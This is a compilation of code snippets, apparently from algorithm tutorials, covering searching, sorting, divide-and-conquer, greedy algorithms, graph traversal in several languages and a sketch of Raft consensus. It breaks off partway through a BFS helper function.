print(arr)  # Output: [1, 5, 7, 8, 9, 10]

def binary_search(arr, target):
    left, right = 0, len(arr) - 1

    while left <= right:
        mid = left + (right - left) // 2

        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1  # Search right half
        else:
            right = mid - 1  # Search left half

    return -1  # Not found

# Recursive version
def binary_search_recursive(arr, target, left, right):
    if left > right:
        return -1

    mid = left + (right - left) // 2

    if arr[mid] == target:
        return mid
    elif arr[mid] < target:
        return binary_search_recursive(arr, target, mid + 1, right)
    else:
        return binary_search_recursive(arr, target, left, mid - 1)

# Example usage
arr = [1, 3, 5, 7, 9, 11, 13, 15, 17]
print(binary_search(arr, 7))  # Output: 3
print(binary_search_recursive(arr, 13, 0, len(arr) - 1))  # Output: 6

def max_subarray_divide_conquer(arr, left, right):
    # Base case: single element
    if left == right:
        return arr[left]

    # Divide: find middle
    mid = (left + right) // 2

    # Conquer: recursively find max in left and right halves
    left_max = max_subarray_divide_conquer(arr, left, mid)
    right_max = max_subarray_divide_conquer(arr, mid + 1, right)

    # Combine: find max crossing the middle
    cross_max = max_crossing_sum(arr, left, mid, right)

    return max(left_max, right_max, cross_max)

def max_crossing_sum(arr, left, mid, right):
    # Sum from mid to left
    left_sum = float('-inf')
    current_sum = 0
    for i in range(mid, left - 1, -1):
        current_sum += arr[i]
        left_sum = max(left_sum, current_sum)

    # Sum from mid+1 to right
    right_sum = float('-inf')
    current_sum = 0
    for i in range(mid + 1, right + 1):
        current_sum += arr[i]
        right_sum = max(right_sum, current_sum)

    return left_sum + right_sum

# Example usage
arr = [-2, 1, -3, 4, -1, 2, 1, -5, 4]
max_sum = max_subarray_divide_conquer(arr, 0, len(arr) - 1)
print(f"Maximum subarray sum: {max_sum}")  # Output: 6 ([4,-1,2,1])

def merge_count_inversions(arr):
    if len(arr) <= 1:
        return arr, 0

    mid = len(arr) // 2
    left, left_inv = merge_count_inversions(arr[:mid])
    right, right_inv = merge_count_inversions(arr[mid:])

    merged, split_inv = merge_and_count(left, right)

    return merged, left_inv + right_inv + split_inv

def merge_and_count(left, right):
    result = []
    inversions = 0
    i = j = 0

    while i < len(left) and j < len(right):
        if left[i] <= right[j]:
            result.append(left[i])
            i += 1
        else:
            result.append(right[j])
            inversions += len(left) - i  # All remaining in left are inversions
            j += 1

    result.extend(left[i:])
    result.extend(right[j:])
    return result, inversions

# Example usage
arr = [2, 4, 1, 3, 5]
sorted_arr, inversions = merge_count_inversions(arr)
print(f"Inversions: {inversions}")  # Output: 3

import math

def closest_pair(points):
    # Sort points by x-coordinate
    px = sorted(points, key=lambda p: p[0])
    # Sort points by y-coordinate
    py = sorted(points, key=lambda p: p[1])

    return closest_pair_recursive(px, py)

def closest_pair_recursive(px, py):
    n = len(px)

    # Base case: few points, use brute force
    if n <= 3:
        return brute_force_closest(px)

    # Divide: split by vertical line
    mid = n // 2
    midpoint = px[mid]

    pyl = [p for p in py if p[0] <= midpoint[0]]
    pyr = [p for p in py if p[0] > midpoint[0]]

    # Conquer: find closest in each half
    dl = closest_pair_recursive(px[:mid], pyl)
    dr = closest_pair_recursive(px[mid:], pyr)

    # Find minimum
    d = min(dl, dr)

    # Combine: check points near dividing line
    strip = [p for p in py if abs(p[0] - midpoint[0]) < d]
    strip_min = strip_closest(strip, d)

    return min(d, strip_min)

def distance(p1, p2):
    return math.sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2)

def brute_force_closest(points):
    min_dist = float('inf')
    for i in range(len(points)):
        for j in range(i + 1, len(points)):
            min_dist = min(min_dist, distance(points[i], points[j]))
    return min_dist

def strip_closest(strip, d):
    min_dist = d
    for i in range(len(strip)):
        for j in range(i + 1, min(i + 7, len(strip))):
            min_dist = min(min_dist, distance(strip[i], strip[j]))
    return min_dist

# Example usage
points = [(2, 3), (12, 30), (40, 50), (5, 1), (12, 10), (3, 4)]
min_distance = closest_pair(points)
print(f"Smallest distance: {min_distance:.2f}")

import numpy as np

def strassen_matrix_multiply(A, B):
    n = len(A)

    # Base case: 1x1 matrix
    if n == 1:
        return [[A[0][0] * B[0][0]]]

    # Divide matrices into quadrants
    mid = n // 2
    A11 = [row[:mid] for row in A[:mid]]
    A12 = [row[mid:] for row in A[:mid]]
    A21 = [row[:mid] for row in A[mid:]]
    A22 = [row[mid:] for row in A[mid:]]

    B11 = [row[:mid] for row in B[:mid]]
    B12 = [row[mid:] for row in B[:mid]]
    B21 = [row[:mid] for row in B[mid:]]
    B22 = [row[mid:] for row in B[mid:]]

    # Compute 7 products (Strassen's method)
    M1 = strassen_matrix_multiply(matrix_add(A11, A22), matrix_add(B11, B22))
    M2 = strassen_matrix_multiply(matrix_add(A21, A22), B11)
    M3 = strassen_matrix_multiply(A11, matrix_sub(B12, B22))
    M4 = strassen_matrix_multiply(A22, matrix_sub(B21, B11))
    M5 = strassen_matrix_multiply(matrix_add(A11, A12), B22)
    M6 = strassen_matrix_multiply(matrix_sub(A21, A11), matrix_add(B11, B12))
    M7 = strassen_matrix_multiply(matrix_sub(A12, A22), matrix_add(B21, B22))

    # Combine
    C11 = matrix_add(matrix_sub(matrix_add(M1, M4), M5), M7)
    C12 = matrix_add(M3, M5)
    C21 = matrix_add(M2, M4)
    C22 = matrix_add(matrix_sub(matrix_add(M1, M3), M2), M6)

    # Construct result
    result = []
    for i in range(mid):
        result.append(C11[i] + C12[i])
    for i in range(mid):
        result.append(C21[i] + C22[i])

    return result

def matrix_add(A, B):
    return [[A[i][j] + B[i][j] for j in range(len(A[0]))] for i in range(len(A))]

def matrix_sub(A, B):
    return [[A[i][j] - B[i][j] for j in range(len(A[0]))] for i in range(len(A))]

def divide_and_conquer(problem):
    # Base case
    if is_simple(problem):
        return solve_directly(problem)

    # Divide
    subproblems = divide(problem)

    # Conquer
    subsolutions = [divide_and_conquer(subproblem) for subproblem in subproblems]

    # Combine
    solution = combine(subsolutions)

    return solution

def activity_selection(activities):
    # Sort by finish time
    activities.sort(key=lambda x: x[1])

    selected = [activities[0]]
    last_finish = activities[0][1]

    for start, finish in activities[1:]:
        if start >= last_finish:
            selected.append((start, finish))
            last_finish = finish

    return selected

# Example usage
activities = [(1, 4), (3, 5), (0, 6), (5, 7), (3, 9), (5, 9), (6, 10), (8, 11), (8, 12), (2, 14), (12, 16)]
result = activity_selection(activities)
print(f"Selected {len(result)} activities:")
for activity in result:
    print(f"  Start: {activity[0]}, Finish: {activity[1]}")

def fractional_knapsack(items, capacity):
    # Calculate value per weight and sort by it
    items_with_ratio = [(value, weight, value/weight) for value, weight in items]
    items_with_ratio.sort(key=lambda x: x[2], reverse=True)

    total_value = 0
    remaining_capacity = capacity
    taken = []

    for value, weight, ratio in items_with_ratio:
        if remaining_capacity >= weight:
            # Take full item
            total_value += value
            remaining_capacity -= weight
            taken.append((value, weight, 1.0))
        else:
            # Take fraction of item
            fraction = remaining_capacity / weight
            total_value += value * fraction
            taken.append((value, weight, fraction))
            break

    return total_value, taken

# Example usage
items = [(60, 10), (100, 20), (120, 30)]  # (value, weight)
capacity = 50
max_value, taken = fractional_knapsack(items, capacity)
print(f"Maximum value: {max_value}")
print("Items taken:")
for value, weight, fraction in taken:
    print(f"  Value={value}, Weight={weight}, Fraction={fraction:.2f}")

def coin_change_greedy(coins, amount):
    coins.sort(reverse=True)
    count = 0
    result = []

    for coin in coins:
        while amount >= coin:
            amount -= coin
            count += 1
            result.append(coin)

    if amount > 0:
        return -1, []  # Cannot make exact change

    return count, result

# Example usage (US coins)
coins = [25, 10, 5, 1]
amount = 63
count, result = coin_change_greedy(coins, amount)
print(f"Minimum coins: {count}")
print(f"Coins used: {result}")  # [25, 25, 10, 1, 1, 1]

import heapq
from collections import defaultdict

class HuffmanNode:
    def __init__(self, char, freq):
        self.char = char
        self.freq = freq
        self.left = None
        self.right = None

    def __lt__(self, other):
        return self.freq < other.freq

def huffman_encoding(text):
    # Count frequency
    freq = defaultdict(int)
    for char in text:
        freq[char] += 1

    # Create priority queue
    heap = [HuffmanNode(char, f) for char, f in freq.items()]
    heapq.heapify(heap)

    # Build Huffman tree
    while len(heap) > 1:
        left = heapq.heappop(heap)
        right = heapq.heappop(heap)

        merged = HuffmanNode(None, left.freq + right.freq)
        merged.left = left
        merged.right = right

        heapq.heappush(heap, merged)

    # Generate codes
    root = heap[0]
    codes = {}

    def generate_codes(node, code):
        if node.char is not None:
            codes[node.char] = code
            return
        if node.left:
            generate_codes(node.left, code + '0')
        if node.right:
            generate_codes(node.right, code + '1')

    generate_codes(root, '')

    # Encode text
    encoded = ''.join(codes[char] for char in text)

    return encoded, codes, root

# Example usage
text = "huffman coding example"
encoded, codes, tree = huffman_encoding(text)
print("Character codes:")
for char, code in sorted(codes.items()):
    print(f"  '{char}': {code}")
print(f"\nOriginal size: {len(text) * 8} bits")
print(f"Encoded size: {len(encoded)} bits")
print(f"Compression ratio: {len(encoded) / (len(text) * 8):.2%}")

def job_sequencing(jobs):
    # Sort by profit (descending)
    jobs.sort(key=lambda x: x[2], reverse=True)

    # Find maximum deadline
    max_deadline = max(job[1] for job in jobs)

    # Create slot array
    slots = [-1] * max_deadline
    total_profit = 0
    scheduled_jobs = []

    # For each job, try to schedule it
    for job_id, deadline, profit in jobs:
        # Find a free slot before deadline
        for slot in range(min(max_deadline, deadline) - 1, -1, -1):
            if slots[slot] == -1:
                slots[slot] = job_id
                total_profit += profit
                scheduled_jobs.append((job_id, profit))
                break

    return total_profit, scheduled_jobs

# Example usage
# Jobs: (job_id, deadline, profit)
jobs = [
    ('a', 2, 100),
    ('b', 1, 19),
    ('c', 2, 27),
    ('d', 1, 25),
    ('e', 3, 15)
]
profit, scheduled = job_sequencing(jobs)
print(f"Maximum profit: {profit}")
print("Scheduled jobs:")
for job_id, profit in scheduled:
    print(f"  Job {job_id}: ${profit}")

import heapq

def prim_mst(graph, start=0):
    n = len(graph)
    visited = set([start])
    edges = [(cost, start, to) for to, cost in graph[start]]
    heapq.heapify(edges)

    mst = []
    total_cost = 0

    while edges and len(visited) < n:
        cost, frm, to = heapq.heappop(edges)

        if to not in visited:
            visited.add(to)
            mst.append((frm, to, cost))
            total_cost += cost

            for next_to, next_cost in graph[to]:
                if next_to not in visited:
                    heapq.heappush(edges, (next_cost, to, next_to))

    return mst, total_cost

# Example usage
# Graph as adjacency list: graph[node] = [(neighbor, weight), ...]
graph = [
    [(1, 2), (3, 6)],           # Node 0
    [(0, 2), (2, 3), (3, 8), (4, 5)],  # Node 1
    [(1, 3), (4, 7)],           # Node 2
    [(0, 6), (1, 8)],           # Node 3
    [(1, 5), (2, 7)]            # Node 4
]
mst, cost = prim_mst(graph)
print(f"Minimum spanning tree cost: {cost}")
print("Edges in MST:")
for frm, to, weight in mst:
    print(f"  {frm} -- {to} (weight: {weight})")

class UnionFind:
    def __init__(self, n):
        self.parent = list(range(n))
        self.rank = [0] * n

    def find(self, x):
        if self.parent[x] != x:
            self.parent[x] = self.find(self.parent[x])
        return self.parent[x]

    def union(self, x, y):
        px, py = self.find(x), self.find(y)
        if px == py:
            return False
        if self.rank[px] < self.rank[py]:
            px, py = py, px
        self.parent[py] = px
        if self.rank[px] == self.rank[py]:
            self.rank[px] += 1
        return True

def kruskal_mst(n, edges):
    # Sort edges by weight
    edges.sort(key=lambda x: x[2])

    uf = UnionFind(n)
    mst = []
    total_cost = 0

    for u, v, weight in edges:
        if uf.union(u, v):
            mst.append((u, v, weight))
            total_cost += weight
            if len(mst) == n - 1:
                break

    return mst, total_cost

# Example usage
n = 5  # Number of vertices
edges = [
    (0, 1, 2), (0, 3, 6), (1, 2, 3),
    (1, 3, 8), (1, 4, 5), (2, 4, 7)
]
mst, cost = kruskal_mst(n, edges)
print(f"Minimum spanning tree cost: {cost}")
print("Edges in MST:")
for u, v, weight in mst:
    print(f"  {u} -- {v} (weight: {weight})")

import heapq

def dijkstra(graph, start):
    n = len(graph)
    dist = [float('inf')] * n
    dist[start] = 0
    pq = [(0, start)]
    visited = set()

    while pq:
        d, u = heapq.heappop(pq)

        if u in visited:
            continue
        visited.add(u)

        for v, weight in graph[u]:
            if dist[u] + weight < dist[v]:
                dist[v] = dist[u] + weight
                heapq.heappush(pq, (dist[v], v))

    return dist

# Example usage
graph = [
    [(1, 4), (2, 1)],               # Node 0
    [(3, 1)],                       # Node 1
    [(1, 2), (3, 5)],               # Node 2
    [(4, 3)],                       # Node 3
    []                              # Node 4
]
distances = dijkstra(graph, 0)
print("Shortest distances from node 0:")
for i, d in enumerate(distances):
    print(f"  To node {i}: {d}")

def can_complete_circuit(gas, cost):
    n = len(gas)
    total_gas = sum(gas)
    total_cost = sum(cost)

    # If total gas < total cost, impossible
    if total_gas < total_cost:
        return -1

    start = 0
    tank = 0

    for i in range(n):
        tank += gas[i] - cost[i]
        if tank < 0:
            # Can't reach next station from current start
            start = i + 1
            tank = 0

    return start

# Example usage
gas = [1, 2, 3, 4, 5]
cost = [3, 4, 5, 1, 2]
start = can_complete_circuit(gas, cost)
print(f"Start at station: {start}")  # Output: 3

# Greedy (doesn't always work)
def coin_change_greedy(coins, amount):
    coins.sort(reverse=True)
    count = 0
    for coin in coins:
        count += amount // coin
        amount %= coin
    return count if amount == 0 else -1

# Dynamic Programming (always correct)
def coin_change_dp(coins, amount):
    dp = [float('inf')] * (amount + 1)
    dp[0] = 0
    for coin in coins:
        for i in range(coin, amount + 1):
            dp[i] = min(dp[i], dp[i - coin] + 1)
    return dp[amount] if dp[amount] != float('inf') else -1

def bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(0, n - i - 1):
            if arr[j] > arr[j + 1]:
                arr[j], arr[j + 1] = arr[j + 1], arr[j]
    return arr

def selection_sort(arr):
    for i in range(len(arr)):
        min_idx = i
        for j in range(i + 1, len(arr)):
            if arr[j] < arr[min_idx]:
                min_idx = j
        arr[i], arr[min_idx] = arr[min_idx], arr[i]
    return arr

def insertion_sort(arr):
    for i in range(1, len(arr)):
        key = arr[i]
        j = i - 1
        while j >= 0 and arr[j] > key:
            arr[j + 1] = arr[j]
            j -= 1
        arr[j + 1] = key
    return arr

def merge_sort(arr):
    if len(arr) <= 1:
        return arr

    mid = len(arr) // 2
    left = merge_sort(arr[:mid])
    right = merge_sort(arr[mid:])

    return merge(left, right)

def merge(left, right):
    result = []
    i = j = 0
    while i < len(left) and j < len(right):
        if left[i] < right[j]:
            result.append(left[i])
            i += 1
        else:
            result.append(right[j])
            j += 1
    result.extend(left[i:])
    result.extend(right[j:])
    return result

def quick_sort(arr):
    if len(arr) <= 1:
        return arr

    pivot = arr[len(arr) // 2]
    left = [x for x in arr if x < pivot]
    middle = [x for x in arr if x == pivot]
    right = [x for x in arr if x > pivot]

    return quick_sort(left) + middle + quick_sort(right)

def heap_sort(arr):
    def heapify(arr, n, i):
        largest = i
        left = 2 * i + 1
        right = 2 * i + 2

        if left < n and arr[left] > arr[largest]:
            largest = left
        if right < n and arr[right] > arr[largest]:
            largest = right

        if largest != i:
            arr[i], arr[largest] = arr[largest], arr[i]
            heapify(arr, n, largest)

    n = len(arr)
    for i in range(n // 2 - 1, -1, -1):
        heapify(arr, n, i)

    for i in range(n - 1, 0, -1):
        arr[0], arr[i] = arr[i], arr[0]
        heapify(arr, i, 0)

    return arr

# Best for most cases
arr.sort()  # In-place, O(n log n)
sorted(arr)  # Returns new list

# Custom comparator
arr.sort(key=lambda x: x['age'])

def linear_search(arr, target):
    for i in range(len(arr)):
        if arr[i] == target:
            return i
    return -1

def binary_search(arr, target):
    left, right = 0, len(arr) - 1

    while left <= right:
        mid = left + (right - left) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return -1  # Not found

# Find first occurrence
def find_first(arr, target):
    left, right = 0, len(arr) - 1
    result = -1

    while left <= right:
        mid = left + (right - left) // 2
        if arr[mid] == target:
            result = mid
            right = mid - 1  # Keep searching left
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return result

# Find last occurrence
def find_last(arr, target):
    left, right = 0, len(arr) - 1
    result = -1

    while left <= right:
        mid = left + (right - left) // 2
        if arr[mid] == target:
            result = mid
            left = mid + 1  # Keep searching right
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return result

def two_sum(arr, target):
    """Find two numbers that sum to target"""
    left, right = 0, len(arr) - 1

    while left < right:
        current_sum = arr[left] + arr[right]
        if current_sum == target:
            return [left, right]
        elif current_sum < target:
            left += 1
        else:
            right -= 1

    return []

import math

def jump_search(arr, target):
    n = len(arr)
    step = int(math.sqrt(n))
    prev = 0

    # Find block where target is present
    while arr[min(step, n) - 1] < target:
        prev = step
        step += int(math.sqrt(n))
        if prev >= n:
            return -1

    # Linear search in block
    while arr[prev] < target:
        prev += 1
        if prev == min(step, n):
            return -1

    # Check if target found
    if arr[prev] == target:
        return prev

    return -1

def interpolation_search(arr, target):
    left, right = 0, len(arr) - 1

    while (left <= right and
           target >= arr[left] and
           target <= arr[right]):

        # Estimate position
        pos = left + int((right - left) / (arr[right] - arr[left]) *
                        (target - arr[left]))

        if arr[pos] == target:
            return pos
        elif arr[pos] < target:
            left = pos + 1
        else:
            right = pos - 1

    return -1

def exponential_search(arr, target):
    n = len(arr)

    # Find range
    i = 1
    while i < n and arr[i] < target:
        i *= 2

    # Binary search in range
    left = i // 2
    right = min(i, n - 1)

    while left <= right:
        mid = left + (right - left) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return -1

def sentinel_search(arr, target):
    n = len(arr)
    last = arr[n - 1]
    arr[n - 1] = target

    i = 0
    while arr[i] != target:
        i += 1

    arr[n - 1] = last  # Restore

    if i < n - 1 or last == target:
        return i
    return -1

┌─────────┐    times out, starts election    ┌───────────┐
│Follower │───────────────────────────────>│ Candidate │
└─────────┘                                  └───────────┘
     │                                            │
     │discovers current leader or new term         │receives votes from
     │                                            │majority of servers
     │                                            │
     │                                            ▼
     │                                       ┌────────┐
     └───────────────────────────────────────│ Leader │
                 discovers server with       └────────┘
                 higher term

Leader receives command from client
  ↓
Append to local log
  ↓
Send AppendEntries RPCs to followers
  ↓
Wait for majority to acknowledge
  ↓
Apply to state machine
  ↓
Return result to client

Old config: Server1, Server2, Server3 (majority = 2)
New config: Server1, Server2, Server3, Server4, Server5 (majority = 3)

During transition, could have:
- Old majority: Server1, Server2 elect LeaderA
- New majority: Server3, Server4, Server5 elect LeaderB
→ Two leaders in same term! ✗

class RaftNode:
    def __init__(self):
        self.state = "follower"
        self.current_term = 0
        self.voted_for = None
        self.log = []
        self.commit_index = 0

    def request_vote(self, term, candidate_id):
        if term > self.current_term:
            self.current_term = term
            self.voted_for = None

        if self.voted_for is None:
            self.voted_for = candidate_id
            return True
        return False

    def append_entries(self, term, leader_id, entries):
        if term >= self.current_term:
            self.state = "follower"
            self.current_term = term
            self.log.extend(entries)
            return True
        return False

from collections import defaultdict

class Graph:
    def __init__(self):
        self.graph = defaultdict(list)

    def add_edge(self, u, v):
        """Add edge from u to v (directed graph)"""
        self.graph[u].append(v)

    def dfs_recursive(self, start):
        """
        Perform DFS traversal starting from vertex 'start'.
        Time: O(V + E)
        Space: O(V) for recursion stack and visited set
        """
        visited = set()
        result = []

        def dfs_helper(vertex):
            visited.add(vertex)
            result.append(vertex)

            for neighbor in self.graph[vertex]:
                if neighbor not in visited:
                    dfs_helper(neighbor)

        dfs_helper(start)
        return result

# Example usage
g = Graph()
g.add_edge(0, 1)
g.add_edge(0, 2)
g.add_edge(1, 3)
g.add_edge(1, 4)
g.add_edge(2, 5)
g.add_edge(2, 6)

print("DFS traversal:", g.dfs_recursive(0))
# Output: [0, 1, 3, 4, 2, 5, 6]

class Graph {
    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, []);
        }
    }

    addEdge(u, v) {
        this.addVertex(u);
        this.addVertex(v);
        this.adjacencyList.get(u).push(v);
    }

    dfsRecursive(start) {
        const visited = new Set();
        const result = [];

        const dfsHelper = (vertex) => {
            visited.add(vertex);
            result.push(vertex);

            const neighbors = this.adjacencyList.get(vertex) || [];
            for (const neighbor of neighbors) {
                if (!visited.has(neighbor)) {
                    dfsHelper(neighbor);
                }
            }
        };

        dfsHelper(start);
        return result;
    }
}

// Example usage
const g = new Graph();
g.addEdge(0, 1);
g.addEdge(0, 2);
g.addEdge(1, 3);
g.addEdge(1, 4);
g.addEdge(2, 5);
g.addEdge(2, 6);

console.log("DFS traversal:", g.dfsRecursive(0));
// Output: [0, 1, 3, 4, 2, 5, 6]

#include <iostream>
#include <vector>
#include <unordered_set>
#include <unordered_map>

using namespace std;

class Graph {
private:
    unordered_map<int, vector<int>> adjacencyList;

    void dfsHelper(int vertex, unordered_set<int>& visited, vector<int>& result) {
        visited.insert(vertex);
        result.push_back(vertex);

        for (int neighbor : adjacencyList[vertex]) {
            if (visited.find(neighbor) == visited.end()) {
                dfsHelper(neighbor, visited, result);
            }
        }
    }

public:
    void addEdge(int u, int v) {
        adjacencyList[u].push_back(v);
    }

    vector<int> dfsRecursive(int start) {
        unordered_set<int> visited;
        vector<int> result;
        dfsHelper(start, visited, result);
        return result;
    }
};

// Example usage
int main() {
    Graph g;
    g.addEdge(0, 1);
    g.addEdge(0, 2);
    g.addEdge(1, 3);
    g.addEdge(1, 4);
    g.addEdge(2, 5);
    g.addEdge(2, 6);

    vector<int> result = g.dfsRecursive(0);
    cout << "DFS traversal: ";
    for (int v : result) {
        cout << v << " ";
    }
    cout << endl;

    return 0;
}

def dfs_iterative(self, start):
    """
    Iterative DFS using explicit stack.
    Time: O(V + E)
    Space: O(V) for stack and visited set
    """
    visited = set()
    stack = [start]
    result = []

    while stack:
        vertex = stack.pop()

        if vertex not in visited:
            visited.add(vertex)
            result.append(vertex)

            # Add neighbors in reverse order for same traversal as recursive
            for neighbor in reversed(self.graph[vertex]):
                if neighbor not in visited:
                    stack.append(neighbor)

    return result

dfsIterative(start) {
    const visited = new Set();
    const stack = [start];
    const result = [];

    while (stack.length > 0) {
        const vertex = stack.pop();

        if (!visited.has(vertex)) {
            visited.add(vertex);
            result.push(vertex);

            const neighbors = this.adjacencyList.get(vertex) || [];
            // Add neighbors in reverse for same order as recursive
            for (let i = neighbors.length - 1; i >= 0; i--) {
                if (!visited.has(neighbors[i])) {
                    stack.push(neighbors[i]);
                }
            }
        }
    }

    return result;
}

def has_cycle_directed(self):
    """
    Detect cycle in directed graph using DFS.
    Time: O(V + E)
    Space: O(V)
    """
    WHITE, GRAY, BLACK = 0, 1, 2
    color = {v: WHITE for v in self.graph}

    def has_cycle_helper(vertex):
        color[vertex] = GRAY

        for neighbor in self.graph[vertex]:
            if color[neighbor] == GRAY:  # Back edge found
                return True
            if color[neighbor] == WHITE and has_cycle_helper(neighbor):
                return True

        color[vertex] = BLACK
        return False

    for vertex in self.graph:
        if color[vertex] == WHITE:
            if has_cycle_helper(vertex):
                return True

    return False

# Example usage
g = Graph()
g.add_edge(0, 1)
g.add_edge(1, 2)
g.add_edge(2, 0)  # Creates a cycle
print("Has cycle:", g.has_cycle_directed())  # True

def has_cycle_undirected(self):
    """
    Detect cycle in undirected graph using DFS.
    Time: O(V + E)
    Space: O(V)
    """
    visited = set()

    def has_cycle_helper(vertex, parent):
        visited.add(vertex)

        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                if has_cycle_helper(neighbor, vertex):
                    return True
            elif neighbor != parent:  # Back edge to non-parent
                return True

        return False

    for vertex in self.graph:
        if vertex not in visited:
            if has_cycle_helper(vertex, -1):
                return True

    return False

def find_path_dfs(self, start, end):
    """
    Find a path from start to end using DFS.
    Time: O(V + E)
    Space: O(V)
    Returns: List of vertices in path, or None if no path exists
    """
    visited = set()
    path = []

    def dfs_path_helper(vertex):
        visited.add(vertex)
        path.append(vertex)

        if vertex == end:
            return True

        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                if dfs_path_helper(neighbor):
                    return True

        path.pop()  # Backtrack
        return False

    if dfs_path_helper(start):
        return path
    return None

# Example
g = Graph()
g.add_edge(0, 1)
g.add_edge(0, 2)
g.add_edge(1, 3)
g.add_edge(2, 3)
print("Path from 0 to 3:", g.find_path_dfs(0, 3))  # [0, 1, 3]

def count_connected_components(self):
    """
    Count connected components in undirected graph.
    Time: O(V + E)
    Space: O(V)
    """
    visited = set()
    count = 0

    def dfs_helper(vertex):
        visited.add(vertex)
        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                dfs_helper(neighbor)

    for vertex in self.graph:
        if vertex not in visited:
            dfs_helper(vertex)
            count += 1

    return count

def is_bipartite_dfs(self):
    """
    Check if graph is bipartite using DFS.
    Time: O(V + E)
    Space: O(V)
    """
    color = {}

    def dfs_helper(vertex, c):
        color[vertex] = c

        for neighbor in self.graph[vertex]:
            if neighbor not in color:
                if not dfs_helper(neighbor, 1 - c):
                    return False
            elif color[neighbor] == c:
                return False

        return True

    for vertex in self.graph:
        if vertex not in color:
            if not dfs_helper(vertex, 0):
                return False

    return True

from collections import deque

class Graph:
    def __init__(self):
        self.graph = defaultdict(list)

    def add_edge(self, u, v):
        self.graph[u].append(v)

    def bfs(self, start):
        """
        Perform BFS traversal starting from vertex 'start'.
        Time: O(V + E)
        Space: O(V) for queue and visited set
        """
        visited = set([start])
        queue = deque([start])
        result = []

        while queue:
            vertex = queue.popleft()
            result.append(vertex)

            for neighbor in self.graph[vertex]:
                if neighbor not in visited:
                    visited.add(neighbor)
                    queue.append(neighbor)

        return result

# Example usage
g = Graph()
g.add_edge(0, 1)
g.add_edge(0, 2)
g.add_edge(1, 3)
g.add_edge(1, 4)
g.add_edge(2, 5)
g.add_edge(2, 6)

print("BFS traversal:", g.bfs(0))
# Output: [0, 1, 2, 3, 4, 5, 6]

class Graph {
    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, []);
        }
    }

    addEdge(u, v) {
        this.addVertex(u);
        this.addVertex(v);
        this.adjacencyList.get(u).push(v);
    }

    bfs(start) {
        const visited = new Set([start]);
        const queue = [start];
        const result = [];

        while (queue.length > 0) {
            const vertex = queue.shift();
            result.push(vertex);

            const neighbors = this.adjacencyList.get(vertex) || [];
            for (const neighbor of neighbors) {
                if (!visited.has(neighbor)) {
                    visited.add(neighbor);
                    queue.push(neighbor);
                }
            }
        }

        return result;
    }
}

// Example usage
const g = new Graph();
g.addEdge(0, 1);
g.addEdge(0, 2);
g.addEdge(1, 3);
g.addEdge(1, 4);
g.addEdge(2, 5);
g.addEdge(2, 6);

console.log("BFS traversal:", g.bfs(0));
// Output: [0, 1, 2, 3, 4, 5, 6]

#include <iostream>
#include <vector>
#include <queue>
#include <unordered_set>
#include <unordered_map>

using namespace std;

class Graph {
private:
    unordered_map<int, vector<int>> adjacencyList;

public:
    void addEdge(int u, int v) {
        adjacencyList[u].push_back(v);
    }

    vector<int> bfs(int start) {
        unordered_set<int> visited;
        queue<int> q;
        vector<int> result;

        visited.insert(start);
        q.push(start);

        while (!q.empty()) {
            int vertex = q.front();
            q.pop();
            result.push_back(vertex);

            for (int neighbor : adjacencyList[vertex]) {
                if (visited.find(neighbor) == visited.end()) {
                    visited.insert(neighbor);
                    q.push(neighbor);
                }
            }
        }

        return result;
    }
};

// Example usage
int main() {
    Graph g;
    g.addEdge(0, 1);
    g.addEdge(0, 2);
    g.addEdge(1, 3);
    g.addEdge(1, 4);
    g.addEdge(2, 5);
    g.addEdge(2, 6);

    vector<int> result = g.bfs(0);
    cout << "BFS traversal: ";
    for (int v : result) {
        cout << v << " ";
    }
    cout << endl;

    return 0;
}

def shortest_path_bfs(self, start, end):
    """
    Find shortest path in unweighted graph using BFS.
    Time: O(V + E)
    Space: O(V)
    Returns: (distance, path)
    """
    if start == end:
        return (0, [start])

    visited = set([start])
    queue = deque([(start, [start])])

    while queue:
        vertex, path = queue.popleft()

        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                visited.add(neighbor)
                new_path = path + [neighbor]

                if neighbor == end:
                    return (len(new_path) - 1, new_path)

                queue.append((neighbor, new_path))

    return (float('inf'), None)  # No path exists

# Example
g = Graph()
g.add_edge(0, 1)
g.add_edge(0, 2)
g.add_edge(1, 3)
g.add_edge(2, 3)
g.add_edge(3, 4)

dist, path = g.shortest_path_bfs(0, 4)
print(f"Shortest distance: {dist}")  # 3
print(f"Shortest path: {path}")      # [0, 1, 3, 4] or [0, 2, 3, 4]

def level_order_traversal(self, start):
    """
    Return vertices grouped by level (distance from start).
    Time: O(V + E)
    Space: O(V)
    """
    visited = set([start])
    queue = deque([(start, 0)])
    levels = defaultdict(list)

    while queue:
        vertex, level = queue.popleft()
        levels[level].append(vertex)

        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                visited.add(neighbor)
                queue.append((neighbor, level + 1))

    return dict(levels)

# Example output:
# {0: [0], 1: [1, 2], 2: [3, 4, 5, 6]}

def is_bipartite_bfs(self):
    """
    Check if graph is bipartite using BFS.
    Time: O(V + E)
    Space: O(V)
    """
    color = {}

    for start_vertex in self.graph:
        if start_vertex in color:
            continue

        queue = deque([start_vertex])
        color[start_vertex] = 0

        while queue:
            vertex = queue.popleft()

            for neighbor in self.graph[vertex]:
                if neighbor not in color:
                    color[neighbor] = 1 - color[vertex]
                    queue.append(neighbor)
                elif color[neighbor] == color[vertex]:
                    return False

    return True

def nodes_at_distance_k(self, start, k):
    """
    Find all nodes at exactly distance k from start.
    Time: O(V + E)
    Space: O(V)
    """
    if k == 0:
        return [start]

    visited = set([start])
    queue = deque([(start, 0)])
    result = []

    while queue:
        vertex, dist = queue.popleft()

